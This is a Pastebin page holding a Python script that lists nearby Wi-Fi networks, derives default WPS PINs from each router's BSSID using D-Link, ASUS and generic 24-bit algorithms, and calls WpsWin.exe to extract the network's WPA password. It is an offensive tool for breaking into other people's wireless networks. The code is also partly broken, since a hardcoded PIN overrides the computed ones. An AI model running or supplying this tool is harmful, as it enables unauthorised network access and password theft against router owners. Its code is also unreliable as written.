Advertisement
hattonuri

Untitled

Oct 18th, 2023
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.76 KB | None | 0 0
  1. from math import floor
  2.  
  3. mac = '2CFDA1689A10'
  4. wifiname = '98:CD:AC:FC:E7:D4'
  5.  
  6.  
  7. def checksum(mac):
  8.     mac %= 10000000
  9.     var = 0
  10.     temp = mac
  11.  
  12.     while temp:
  13.         var += 3 * (temp % 10)
  14.         temp = floor(temp / 10)
  15.         var += temp % 10
  16.         temp = floor(temp / 10)
  17.     return (mac * 10) + ((10 - (var % 10)) % 10)
  18.  
  19.  
  20. def pin24(BSSID):
  21.     temp = int(BSSID, 16) & 0xFFFFFF
  22.     temp = checksum(temp)
  23.     temp = str(int(temp))
  24.     return temp.zfill(8)
  25.  
  26.  
  27. def pinDLink(BSSID):
  28.     temp = (int(BSSID, 16) & 0xFFFFFF) ^ 0x55AA55
  29.     temp ^= ((temp & 0xF) << 4) | ((temp & 0xF) << 8) | ((temp & 0xF) << 12) | ((temp & 0xF) << 16) | (
  30.             (temp & 0xF) << 20)
  31.     temp %= 10000000
  32.     if temp < 1000000:
  33.         temp += ((temp % 9) * 1000000) + 1000000
  34.     temp = checksum(temp)
  35.     temp = str(int(temp))
  36.     return temp.zfill(8)
  37.  
  38.  
  39. def pinDLinkInc1(BSSID):
  40.     temp = int(BSSID, 16) + 1
  41.     return pinDLink(hex(temp))
  42.  
  43.  
  44. def pinASUS(BSSID):
  45.     temp = format(int(BSSID, 16), '02x')
  46.     temp = str(temp).zfill(12)
  47.     var = [int(temp[0:2], 16), int(temp[2:4], 16), int(temp[4:6], 16), int(temp[6:8], 16),
  48.            int(temp[8:10], 16), int(temp[10:12], 16)]
  49.     pin = []
  50.     for i in range(7):
  51.         pin.append((var[i % 6] + var[5]) % (10 - ((i + var[1] + var[2] + var[3] + var[4] + var[5]) % 7)))
  52.     temp = int(''.join(str(i) for i in pin))
  53.     temp = checksum(temp)
  54.     temp = str(int(temp))
  55.     return temp.zfill(8)
  56.  
  57.  
  58. import subprocess
  59. import sys
  60. from time import sleep
  61.  
  62.  
  63. def run_command(cmd):
  64.     p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
  65.     for LINE in iter(p.stdout.readline, b''):
  66.         if LINE:
  67.             yield LINE
  68.     while p.poll() is None:
  69.         sleep(.1)
  70.     err = p.stderr.read()
  71.     if p.returncode != 0:
  72.         print("" + err.decode('latin-1'))
  73.  
  74.  
  75. def connect(ESSID, PIN):
  76.     #     cmd = 'WpsWin.exe Action=Registrar ESSID="%s" PIN=%s' % (ESSID, str(PIN))
  77.     cmd = 'WpsWin.exe Action=Registrar ESSID="%s" PIN=%s' % (ESSID, '45210549')
  78.     sleep(1)
  79.     for LINE in run_command(cmd):
  80.         LINE = LINE.decode('cp866')
  81.         if "Asociacion fallida" in LINE:
  82.             print("Connection with %s hasn't been established!" % ESSID)
  83.             return
  84.         elif "Pin incorrecto" in LINE:
  85.             print("Pin invalid!")
  86.             return
  87.         elif "Wpa Key" in LINE:
  88.             print("\nTRUE PIN FOUND!\nGetting the Wi-Fi password...\n")
  89.             print(LINE)
  90.             sleep(5)
  91.             input()
  92.             sys.exit()
  93.  
  94.  
  95. import re
  96. import ctypes
  97.  
  98.  
  99. def main():
  100.     network = 0
  101.     results = run_command("netsh wlan show networks mode=bssid")
  102.     results = [i for i in results]
  103.     ssids = []
  104.     bssids = []
  105.     for line in results:
  106.         line = line.decode('cp866')
  107.         if "BSSID" in line:
  108.             bssids.append(re.sub('BSSID [\d]+:', '', line.strip()).strip())
  109.         elif "SSID" in line:
  110.             ssids.append(re.sub('SSID [\d]+:', '', line.strip()).strip())
  111.     i = 0
  112.     print("Available wireless networks at the moment:\n")
  113.     for j in ssids:
  114.         i += 1
  115.         print("%d - %s" % (i, j))
  116.     while (network == "") or (int(network) < 1) or (int(network) > i):
  117.         print
  118.         network = input("\nChoose the wireless network > ")
  119.     network = int(network) - 1
  120.     macbssid = bssids[network].upper()
  121.     mac = macbssid.replace(":", "").replace("-", "").replace(" ", "").replace(".", "")
  122.     wifiname = ssids[network]
  123.  
  124.     algos = [pin24, pinDLink, pinDLinkInc1, pinASUS]
  125.     for i in algos:
  126.         pin = '45210549'
  127.         print("\nTrying connect to %s via %s technique with PIN: %s" % (wifiname, i.__name__, pin))
  128.         connect(wifiname, pin)
  129.         sleep(3)
  130.  
  131. main()
  132.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement